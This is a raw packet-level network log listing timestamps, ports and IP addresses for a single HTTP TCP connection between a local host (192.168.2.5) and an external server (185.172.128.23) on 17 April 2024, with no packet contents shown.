Apr 17, 2024 09:17:11.946779966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.946805000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.947071075 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.947113991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.947134018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.947141886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.947149992 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.947160959 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.947170973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.947185993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.947308064 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.947361946 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.947390079 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.947408915 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.947424889 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.947432041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.947454929 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.947468042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.947751045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.947802067 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.947812080 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.947829962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.947844028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.947849989 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.947866917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.947886944 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.948213100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.948266983 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.948273897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.948293924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.948312044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.948313951 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.948338985 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.948348045 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.948395967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.948466063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.948483944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.948501110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.948507071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.948534966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.948556900 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.948663950 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.948705912 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.948714972 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.948735952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.948745966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.948751926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.948775053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.948787928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.948925018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.948966980 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.948967934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.949011087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.949290037 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.949307919 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.949338913 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.949348927 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.949594021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.949620008 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.949652910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.949662924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.949681044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.949696064 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.949738026 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.949940920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.949963093 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.949986935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.950004101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.950015068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.950031996 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.950056076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.950201988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.950247049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.950264931 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.950278997 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.950283051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.950295925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.950314999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.950320959 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.950337887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.950356007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.950390100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.950408936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.950424910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.950433016 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.950443029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.950449944 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.950459957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.950467110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.950478077 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.950489044 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.950495005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.950499058 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.950515985 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.950529099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.001648903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.001676083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.001719952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.001729965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.001735926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.001766920 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.001785040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.001972914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.002017975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.002036095 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.002051115 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.002063036 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.002108097 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.002425909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.002475023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.002481937 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.002491951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.002507925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.002536058 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.002546072 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.002558947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.002837896 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.002897024 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.002902985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.002919912 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.002933979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.002943993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.002969980 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.002979994 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.003163099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.003181934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.003199100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.003212929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.003225088 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.003252983 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.003443003 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.003513098 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.003530025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.003535986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.003545046 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.003572941 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.003598928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.004225969 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.004245996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.004261971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.004277945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.004292011 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.004317045 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.031593084 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.031653881 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.031672001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.031687975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.031702995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.031703949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.031722069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.031733036 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.031743050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.031749964 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.031770945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.031788111 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.032141924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.032162905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.032180071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.032186985 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.032196999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.032201052 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.032221079 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.032233000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.032394886 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.032412052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.032444000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.032453060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.032459021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.032484055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.032510996 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.032712936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.032730103 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.032759905 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.032784939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.032790899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.032807112 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.032844067 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.032984972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.033004045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.033027887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.033036947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.033050060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.033058882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.033116102 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.048934937 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.048996925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.090492010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090703964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090722084 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090738058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090754986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090754986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.090771914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090787888 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090790033 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.090806961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.090812922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090831995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.090838909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090851068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.090854883 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090872049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090877056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.090887070 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.090888977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090905905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090919018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.090928078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.090939999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090945005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.090955019 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090976954 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.090981960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.090998888 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091008902 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091017008 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091023922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091036081 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091041088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091068029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091078997 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091084957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091101885 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091104984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091119051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091130972 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091135025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091137886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091152906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091156960 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091170073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091186047 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091187000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091196060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091202974 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091222048 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091228962 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091258049 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091623068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091640949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091655970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091662884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091671944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091672897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091690063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091715097 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091865063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091903925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091934919 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091959000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091973066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.091975927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.091998100 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.092006922 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.092236996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.092263937 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.092281103 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.092298031 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.092304945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.092329979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.092351913 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.092576981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.092613935 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.092643023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.092658997 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.092675924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.092683077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.092693090 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.092709064 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.093027115 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.093043089 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.093085051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.093168974 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.093206882 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.093250036 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.093266964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.093283892 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.093297005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.093301058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.093307018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.093316078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.093319893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.093346119 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.093353987 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.117677927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.119497061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149216890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149287939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149344921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149394989 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149444103 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149461985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149499893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149507046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149538994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149545908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149565935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149575949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149584055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149600029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149601936 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149617910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149631023 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149633884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149643898 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149660110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149661064 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149668932 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149677992 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149698973 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149708033 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149717093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149724007 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149740934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149745941 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149755001 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149759054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149775028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149777889 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149792910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.149797916 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149806976 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.149832010 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.150152922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.150196075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.150229931 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.150249004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.150264978 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.150266886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.150289059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.150296926 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.150336981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.150376081 CEST	49704	80	192.168.2.5	185.172.128.23
